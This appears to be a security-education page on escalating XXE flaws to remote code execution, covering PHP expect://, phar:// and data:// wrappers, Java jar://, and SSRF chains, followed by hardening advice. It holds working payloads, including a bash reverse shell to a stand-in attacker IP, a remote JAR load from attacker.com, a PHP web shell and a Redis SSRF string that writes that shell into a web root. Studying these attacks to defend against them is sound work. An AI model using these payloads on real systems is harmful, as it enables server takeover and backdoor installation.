Skip to content
šŸ”“Critical9.8

RCE Escalation via XXE

Advanced techniques for escalating XXE vulnerabilities to Remote Code Execution through protocol handlers and parser-specific features.

CWE-611: Improper Restriction of XML External Entity ReferenceOWASP Top 10:2021 - A05: Security Misconfiguration

Overview

While XXE vulnerabilities typically enable file disclosure and SSRF, certain configurations and protocol handlers can escalate XXE to Remote Code Execution (RCE). This represents the most severe impact of XXE vulnerabilities.

RCE Escalation Paths:

  • expect:// wrapper (PHP) - Execute shell commands
  • jar:// protocol (Java) - Load malicious classes
  • netdoc:// protocol (Java) - Trigger code execution
  • phar:// wrapper (PHP) - Deserialize malicious objects
  • data:// wrapper (PHP) - Inline code execution
  • OOB XXE → SSRF → RCE - Chain attacks

Prerequisites for RCE:

  • Parser supports dangerous protocol handlers
  • Weak file upload validation
  • Deserialization vulnerabilities
  • Internal services with RCE capabilities
  • Specific PHP/Java configurations

Impact:

  • Complete server compromise
  • Data exfiltration and modification
  • Lateral movement in network
  • Backdoor installation
  • Service disruption

PHP expect:// Wrapper (Direct RCE)

What is expect://? The expect:// wrapper in PHP allows executing shell commands directly through stream wrappers. When combined with XXE, this enables direct RCE.

Requirements:

  • PHP with expect extension installed (uncommon but exists)
  • libxml configured to allow expect:// protocol
  • External entity loading enabled

How It Works:

  1. XXE payload references expect://command
  2. Parser loads expect:// stream
  3. PHP expect extension executes command
  4. Command output returned to attacker (if classic XXE) or sent OOB

Detection: Check if PHP has expect extension:

php -m | grep expect

Severity: Critical - Direct command execution with web server privileges

expect:// RCE Payload

XMLexpect-rce.xmlāš ļø Vulnerable
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE root [
3  <!ENTITY xxe SYSTEM "expect://id">
4]>
5<root>
6  <data>&xxe;</data>
7</root>
8
9<!-- More sophisticated: reverse shell -->
10<?xml version="1.0" encoding="UTF-8"?>
11<!DOCTYPE root [
12  <!ENTITY xxe SYSTEM "expect://bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'">
13]>
14<root>
15  <data>&xxe;</data>
16</root>
17
18<!-- Command output will appear in response if classic XXE -->
19<!-- For blind XXE, use OOB exfiltration of command results -->

Java jar:// Protocol Exploitation

jar:// Protocol in Java: Java's jar:// protocol handler can load classes from JAR files. When combined with file upload or SSRF, this can lead to RCE.

Attack Chain:

  1. Upload malicious JAR file (disguised as image/document)
  2. Use XXE with jar:// to reference uploaded file
  3. Java loads and executes malicious code from JAR
  4. Achieve RCE

Example Scenario:

  • Application allows file upload (validates by extension only)
  • Upload malicious JAR as "image.jpg"
  • XXE payload: jar:file:///tmp/uploads/image.jpg!/evil.class
  • Java classloader executes code

Similar Protocols:

  • netdoc:// - Alternative Java protocol for RCE
  • ftp:// - Can trigger SSRF to FTP server hosting malicious content

jar:// RCE Attack Example

XMLjar-rce.xmlāš ļø Vulnerable
1<!-- Step 1: Upload malicious JAR file disguised as image.jpg -->
2<!-- JAR contains class with static initializer executing payload -->
3
4<!-- Step 2: XXE payload references the uploaded JAR -->
5<?xml version="1.0" encoding="UTF-8"?>
6<!DOCTYPE root [
7  <!ENTITY xxe SYSTEM "jar:file:///var/www/uploads/image.jpg!/com/evil/Payload.class">
8]>
9<root>
10  <data>&xxe;</data>
11</root>
12
13<!-- Alternative: Use HTTP to load remote JAR -->
14<?xml version="1.0" encoding="UTF-8"?>
15<!DOCTYPE root [
16  <!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/com/evil/Payload.class">
17]>
18<root>
19  <data>&xxe;</data>
20</root>
21
22<!-- Java classloader will load and execute static initializers -->

PHP phar:// Deserialization

phar:// Wrapper + Object Injection: PHP's phar:// wrapper can trigger deserialization when accessing PHAR archives. Combined with XXE, this enables object injection attacks.

Attack Requirements:

  • PHP application uses phar:// wrapper
  • Application has exploitable __destruct() or __wakeup() magic methods
  • Ability to upload PHAR file (or create via XXE)
  • External entity loading enabled

Attack Flow:

  1. Create PHAR file with malicious serialized object
  2. Upload PHAR (may bypass as image/document)
  3. XXE references phar:///path/to/file.phar
  4. PHP deserializes object metadata
  5. Magic methods trigger RCE (if vulnerable classes exist)

Common RCE Gadgets:

  • Monolog\Handler\SyslogUdpHandler
  • Symfony\Component\Cache\Adapter\TagAwareAdapter
  • Custom application classes with dangerous __destruct()

phar:// Deserialization Payload

XMLphar-deserialization.xmlāš ļø Vulnerable
1<!-- First, create malicious PHAR with serialized object -->
2<!-- Upload PHAR file disguised as legitimate file -->
3
4<!-- XXE payload triggers deserialization -->
5<?xml version="1.0" encoding="UTF-8"?>
6<!DOCTYPE root [
7  <!ENTITY xxe SYSTEM "phar:///var/www/uploads/malicious.jpg">
8]>
9<root>
10  <data>&xxe;</data>
11</root>
12
13<!-- Alternative: phar:// with specific file inside archive -->
14<?xml version="1.0" encoding="UTF-8"?>
15<!DOCTYPE root [
16  <!ENTITY xxe SYSTEM "phar:///tmp/upload.phar/test.txt">
17]>
18<root>
19  <data>&xxe;</data>
20</root>
21
22<!-- When PHP processes phar://, it deserializes metadata -->
23<!-- If vulnerable gadget chain exists, achieves RCE -->

PHP data:// Wrapper

data:// Protocol for Code Execution: PHP's data:// wrapper allows embedding data directly in the URI. While not direct RCE, it can be chained with other vulnerabilities.

Usage in XXE:

<!ENTITY xxe SYSTEM "data://text/plain,<?php system($_GET['cmd']); ?>">

Limitations:

  • Requires allow_url_include = On (rare in production)
  • Entity content often not executed directly
  • More useful for bypassing filters than direct RCE

More Effective: data:// + PHP filter chains

<!ENTITY xxe SYSTEM "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+">

Base64 decodes to: <?php system($_GET['cmd']); ?>

XXE → SSRF → RCE Chain

Chaining Attacks for RCE: Even without dangerous protocol handlers, XXE can escalate to RCE through SSRF.

Attack Chain Examples:

1. XXE → Internal Service RCE

  • XXE enables SSRF to internal services
  • Internal admin panel has command execution
  • Chain: XXE → SSRF to admin panel → RCE

2. XXE → Redis/Memcached → RCE

  • XXE enables SSRF to Redis/Memcached on localhost
  • Redis/Memcached exposed without authentication
  • Use SSRF to write web shell to document root
  • Chain: XXE → SSRF to Redis → Write shell → RCE

3. XXE → Cloud Metadata → RCE

  • XXE enables access to cloud metadata (169.254.169.254)
  • Retrieve IAM credentials or user-data scripts
  • Use credentials to access other services with RCE
  • Chain: XXE → Metadata → Credentials → Service RCE

4. XXE → Elasticsearch → RCE

  • XXE enables SSRF to internal Elasticsearch
  • Elasticsearch has script execution features
  • Use Groovy/Painless scripts for RCE
  • Chain: XXE → SSRF to ES → Script execution

XXE → Redis SSRF → RCE Example

XMLxxe-redis-rce.xmlāš ļø Vulnerable
1<!-- Step 1: Use XXE to SSRF to local Redis -->
2<!-- Redis protocol uses CRLF, embed commands -->
3<?xml version="1.0" encoding="UTF-8"?>
4<!DOCTYPE root [
5  <!ENTITY xxe SYSTEM "http://localhost:6379/%0D%0ACONFIG%20SET%20dir%20/var/www/html%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASET%20payload%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%0D%0ASAVE%0D%0A">
6]>
7<root>
8  <data>&xxe;</data>
9</root>
10
11<!-- Explanation:
121. SSRF to localhost:6379 (Redis)
132. CONFIG SET dir /var/www/html (set Redis dump location)
143. CONFIG SET dbfilename shell.php (set dump filename)
154. SET payload "<?php system($_GET['cmd']); ?>" (store web shell)
165. SAVE (write dump file to disk)
176. Result: shell.php written to web root
187. Access http://target/shell.php?cmd=id for RCE
19-->

gopher:// Protocol for Complex SSRF

gopher:// for Advanced SSRF: The gopher:// protocol allows constructing arbitrary TCP payloads, enabling complex SSRF attacks that can lead to RCE.

Capabilities:

  • Send raw TCP data to any service
  • Craft protocol-specific commands (HTTP, Redis, SMTP, etc.)
  • Multi-line requests with proper CRLF
  • Binary data transmission

RCE Scenarios:

1. FastCGI RCE

<!ENTITY xxe SYSTEM "gopher://127.0.0.1:9000/[FastCGI binary payload]">

Send FastCGI packet to PHP-FPM, set PHP_VALUE to execute code

2. MySQL RCE

<!ENTITY xxe SYSTEM "gopher://localhost:3306/[MySQL protocol payload]">

If MySQL accessible, use LOAD DATA INFILE for file operations

3. SMTP Command Injection

<!ENTITY xxe SYSTEM "gopher://localhost:25/[SMTP commands]">

If mail server exposed, potentially inject commands

Limitations:

  • Complex payload encoding (URL encoding required)
  • Some parsers block gopher://
  • Requires deep protocol knowledge

RCE Escalation Prevention

Defense Against XXE → RCE:

Primary Defenses: ☐ Disable external entities (prevents all XXE) ☐ Disable dangerous protocol handlers • PHP: Disable expect, phar wrappers • Java: Restrict jar://, netdoc:// protocols ☐ Disable DTD processing entirely (if not needed)

Secondary Defenses: ☐ Network segmentation • Block outbound connections from app servers • Prevent access to internal services (Redis, MySQL, etc.) • Block cloud metadata IPs (169.254.169.254) ☐ File upload validation • Validate file content, not just extension • Scan uploaded files for PHAR/JAR signatures • Store uploads outside web root • Randomize filenames ☐ Least privilege • Run parsers with minimal file system access • Restrict write permissions • Use containers/sandboxes ☐ Disable unnecessary PHP extensions • Remove expect extension if not needed • Disable allow_url_include • Restrict stream wrappers

Monitoring & Detection: ☐ Monitor for suspicious protocol usage (expect://, jar://) ☐ Alert on internal service connections from app servers ☐ Log all file uploads and XXE attempts ☐ Monitor for deserialization attempts

PHP Configuration Hardening

INIphp.iniāœ“ Secure
1; php.ini hardening to prevent XXE → RCE
2
3; Disable dangerous stream wrappers
4allow_url_fopen = Off
5allow_url_include = Off
6
7; Disable expect extension (if installed)
8; extension=expect.so  ; Comment out or remove
9
10; Restrict phar:// wrapper (PHP 8.0+)
11; phar.readonly = On  ; Already default
12
13; Disable external entity loading (libxml)
14; Note: Set this at runtime via libxml_disable_entity_loader(true) for PHP < 8.0
15; For PHP 8.0+, external entities disabled by default
16
17; Additional security settings
18disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
19
20; Limit resource usage
21max_execution_time = 30
22memory_limit = 128M
23upload_max_filesize = 2M
24post_max_size = 8M

RCE Escalation Testing Checklist

Testing for XXE → RCE Potential:

PHP Targets: ☐ Test expect:// wrapper • <!ENTITY xxe SYSTEM "expect://id"> ☐ Test phar:// deserialization • Upload PHAR, reference with phar:// ☐ Test data:// wrapper • <!ENTITY xxe SYSTEM "data://text/plain,<?php phpinfo(); ?>"> ☐ Check for dangerous PHP functions enabled • system(), exec(), passthru(), shell_exec()

Java Targets: ☐ Test jar:// protocol • Upload JAR, reference with jar:// ☐ Test netdoc:// protocol • <!ENTITY xxe SYSTEM "netdoc://localhost/test"> ☐ Check Java version for known XXE → RCE CVEs

SSRF → RCE Chains: ☐ Test access to Redis (port 6379) ☐ Test access to Memcached (port 11211) ☐ Test access to Elasticsearch (port 9200) ☐ Test access to FastCGI (port 9000) ☐ Test cloud metadata access (169.254.169.254) ☐ Test internal admin panels

Protocol Handler Tests: ☐ Test gopher:// for raw TCP ☐ Test ftp:// for FTP server access ☐ Test file:// for file operations

Deserialization: ☐ Check for deserialization vulnerabilities in app ☐ Test gadget chains if found ☐ Combine with file upload for PHAR attacks